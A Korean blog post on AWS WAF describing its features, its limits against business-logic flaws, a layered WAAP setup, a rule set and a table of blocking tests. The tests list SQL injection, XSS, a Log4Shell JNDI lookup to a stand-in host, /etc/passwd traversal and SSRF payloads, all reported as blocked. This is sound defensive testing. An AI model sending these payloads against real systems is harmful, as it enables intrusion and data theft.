[AWS Firewall] WAF의 중요성
안녕하십니까?
오늘은 AWS에서 지원하는 웹 어플리케이션 방화벽에 대해서
소개를 하고자 합니다.
01. WAF란?
📌 Web Application Firewall
- 줄여서 WAF라고도 불리며, AWS에서 제공하는 웹 어플리케이션 방화벽 서비스 입니다.
- 흔히 Layer 7계층을 보호하며 HTTP/HTTPS 요청을 검사하여, 알려진 패턴들을 탐지하고 차단합니다.
- SQLi, XSS 등 일반적인 웹 공격과 봇으로 부터 Web App 및 API를 보호하는 관리형 서비스 입니다.
- WAF를 CloudFront, LoadBalancer, API Gateway 등 서비스와 연결하여 사용이 가능합니다.
📌 주요 기능
- 패턴 기반 차단
- 웹 요청의 URI, QueryString, Body, Header 등을 검사하여 SQL Injection, XSS 등 공격 패턴을 차단
- 관리형 룰셋(Managed Rule Groups)
- AWS가 지속적으로 업데이트하는 룰셋을 구독 형태로 사용할 수 있습니다.
- 새로운 취약점이 발견되면 AWS가 자동으로 룰을 업데이트
- Rate Limited
- 동일 IP에서 일정 시간 내 과도한 요청이 발생하면 자동으로 차단
- IP 기반 Allow/Deny
- 정 IP 또는 IP 대역을 화이트리스트/블랙리스트로 관리할 수 있습니다.
이렇게 WAF의 기능은 없어서는 안될 굉장히 중요한 역할을 하고 있습니다.
하지만, WAF의 한계점 역시 존재하며, 아래와 같습니다.
비즈니스 로직 관점에서 바라보았을 때 로직 취약점 관련하여 예시로 말씀드리겠습니다.
- 가격 파라미터 변조 (pay_amount = 1)
- 세션 없는 API 직접 호출
- 결제 프로세스 우회
등.. 이러한 공격적은 정상적인 HTTP 요청 형식으로 진행되기 때문에
방화벽 입장에서도 정상적인 요청은 차단하지 않고, 악성 여부를 판단할 수 없어서 방화벽 문이 뚫립니다.
즉, 이러한 공격들은 방화벽에서 탐지 및 차단이 불가능하기 때문에 "시큐어코딩"이 필수적으로 적용되어야 합니다.
02. 이중 구성
그렇기 때문에 보통 현업에서는, 최상단에 WAAP (imperva, Akamai 등)을 두고,
인프라 내부에 CloudFront, LoadBalancer 등에 WAF를 추가적으로 설치하여 운영합니다.
이렇게 된다면, 방어 레이어가 다양화 되면서 아래와 같은 장점이 있습니다.
- WAAP (Web Application and API Protect)
- 네트워크 레벨 DDoS 방어 (대용량 트래픽 흡수)
- Bot 탐지 및 차단
- IP 평판 기반 차단 (글로벌 위협 인텔리전스)
- SSL/TLS 오프로딩
- AWS WAF
- 애플리케이션 레벨 공격 패턴 차단 (SQLi, XSS, RCE)
- AWS 관리형 룰셋 (지속 업데이트)
- CloudFront와 네이티브 통합으로 지연 최소화
- Rate Limiting
즉, 공격 경로별 차단 지점을 정리하면 아래와 같습니다.
| 공격 시도 | 차단 지점 |
| DDoS, 대용량 트래픽 | WAAP (Imperva, Akamai) |
| Bot 트래픽 | WAAP (Imperva, Akamai) |
| SQL Injection | CloudFront WAF (SQLiRuleSet) |
| XSS | CloudFront WAF (block-xss) |
| Log4Shell, RCE | CloudFront WAF (KnownBadInputsRuleSet) |
| 자동화 스크립트 | CloudFront WAF (rate-limit-ddos) |
| WAAP 우회 후 CloudFront, ALB 직접 접근 | CloudFront WAF (동일하게 검사) |
| WAF 우회 후 ALB 직접 접근 | ALB Security Group |
물론 그렇다고 해서, WAAP에서 감지가 다 안된다는 것은 아닙니다.
WAF의 역할도 당연하게도 하기 때문에 이중 잠금 장치라고 보시면 되겠습니다.
03. WAF 추천 룰셋 상세 구성
📌 전체 룰 목록 및 우선 순위
| 우선순위 | 룰 이름 | 유형 | 작업 | WCU |
| 1 | allow-ipset-table | IP Set | Allow | 1 |
| 2 | rate-limit-ddos | Rate Based | Block | 2 |
| 3 | AWS-AWSManagedRulesSQLiRuleSet | Managed | Block | 200 |
| 4 | block-xss | Custom | Block | 240 |
| 5 | AWS-AWSManagedRulesKnownBadInputsRuleSet | Managed | Block | 200 |
Priority 1. allow-ipset-table
이 부분은 왜 'Allow'처리를 하였냐면, 임직원 로컬PC에 중앙집중관리형 VPN이 자동으로 연결되기 때문에
저희 내부 IP대역만 허용을 해둔 상태고, 이 외의 나머지 IP들은 당연하게도 차단됩니다.
추가적으로 소스를 'X-Forwared-For' 헤더의 첫번째 IP(실제 사용자 IP)를 기준으로 비교하게
헤더 기반으로 설정을 하였습니다. (앞 단에 WAAP를 사용중이므로)
Priority 2. rate-limit-ddos
5분간 동일 IP에서 2,000건을 초과하는 요청이 발생하면 자동 차단합니다.
흔히 알고 계시는 '디도스 공격'패턴에 대한 방어라고 생각해주시면 되고, 외 나머지 정상 트래픽은 허용합니다.
Priority 3. AWSManagedRulesSQLiRuleSet
SQL Injection 공격 패턴을 탐지하고 차단하며 QueryString, Body, Cookie, URI 전 경로를 검사합니다.
차단 패턴 예시는 아래와 같으며 참고 하시면 될 것 같습니다.
- OR 1=1 (조건 우회)
- UNION SELECT (데이터 추출)
- SLEEP(n) (Time-based Injection)
- DROP TABLE (데이터 삭제)
Priority 4. block-xss
XSS 공격 패턴을 탐지하고 차단하는 커스텀 룰입니다.
QueryString, Body, URI 세 경로를 모두 커버하며 URL_DECODE → HTML_ENTITY_DECODE → LOWERCASE 변환으로 인코딩 우회를 방지하게 됩니다.
Priority 5. AWSManagedRulesKnownBadInputsRuleSet
알려진 심각한 취약점 공격 패턴을 차단하며, 종류는 아래와 같습니다.
| 룰 | 탐지 대상 |
| JavaDeserializationRCE | Java 역직렬화 원격 코드 실행 |
| Log4JRCE | Log4Shell (CVE-2021-44228) |
| ExploitablePaths | /etc/passwd 등 경로 탐색 |
| Host_localhost_HEADER | SSRF 공격 |
| PROPFIND_METHOD | WebDAV 메서드 악용 |
| ReactJSRCE | React 서버사이드 RCE |
04. WAF 공격 차단 테스트 결과
📌 주요 패턴 차단 테스트
위에서 소개 해드린 주요 패턴들에 대해서 실제로 차단이 되는지 차단 여부를 검증했습니다.
전체 테스트는 사내 IP로 진행하였으며, Allow 목록에서 제외 후 진행하였습니다.
1) SQL Injection 테스트
| 테스트 패턴 | 설명 | 결과 |
| ?pd_idx=1' OR 1=1-- | 조건 우회, 전체 데이터 노출 시도 | ✅ 403 |
| ?pd_idx=1 AND SLEEP(4)-- | Time-based Injection, 취약점 탐지 | ✅ 403 |
| ?pd_idx=1 UNION SELECT 1,2,3-- | 다른 테이블 데이터 추출 시도 | ✅ 403 |
2) XSS 테스트
| 테스트 패턴 | 설명 | 결과 |
| ?search=<script>alert(1)</script> | 기본 스크립트 삽입 | ✅ 403 |
| ?search=%3Cscript%3Ealert%281%29%3C%2Fscript%3E | URL 인코딩 우회 시도 | ✅ 403 |
| POST Body에 <script> 태그 | POST 요청 Body XSS | ✅ 403 |
3) Rate Limit 테스트
| 테스트 | 설명 | 결과 |
| 5분간 2,100건 요청 | 임계치(2,000건) 초과 | ✅ 2,000건 초과 시점부터 403 |
4) KnownBadInputs 테스트
| 테스트 | 설명 | 결과 |
| ${jndi:ldap://test.example.com/a} 헤더 삽입 | Log4Shell (CVE-2021-44228) | ✅ 403 |
| /../../../../etc/passwd | 경로 탐색 | ✅ 403 |
| PROPFIND HTTP 메서드 | WebDAV 메서드 악용 | ✅ 403 |
| Host: localhost 헤더 | SSRF 공격 | ✅ 403 |
전체 11개 테스트 케이스를 진행하였고, 모두 HTTP 403 에러 반환(차단)을 확인하였습니다.
05. 남은 과제
하지만, WAF를 통해서 전면 공격을 차단하기는 어렵습니다.
초입에서 한계점을 소개시켜드렸다 싶이, 저렇게 로직 관련하여 취약한 점을 파고 든다면
고객들의 정보나, 저희 서버 내부에 취약점들을 노출시킬 수 밖에 없다고 생각합니다.
하여, 비즈니스 로직 관점으로 아래와 같이 남은 과제들을 정리해보았습니다.
- 서버사이드 가격 검증 : 클라이언트 금액 신뢰 제거, 서버에서 직접 계산
- Prepared Statement 적용 : SQLi 공격 패턴 전면 차단
- 세션 없는 API 호출 차단 : 컬럼 값에 대한 공백 주문 생성 차단
- PG사 연동 서버사이드 검증 : 결제 우회 차단
또한, 인프라 아키텍처 면으로는 정적, 동적 리소스를 분산 시키는 방법도 있습니다.
정적 리소스 : S3에 저장하여, 정적 파일(html, png, svg 등)은 버킷에서 불러오도록 설정.
CloudFront 등 CDN 서비스를 사용하신다면, Origin을 LB가 아닌 S3로 변경이 필요합니다 ^^
긴 글 읽어주셔서 감사합니다 :)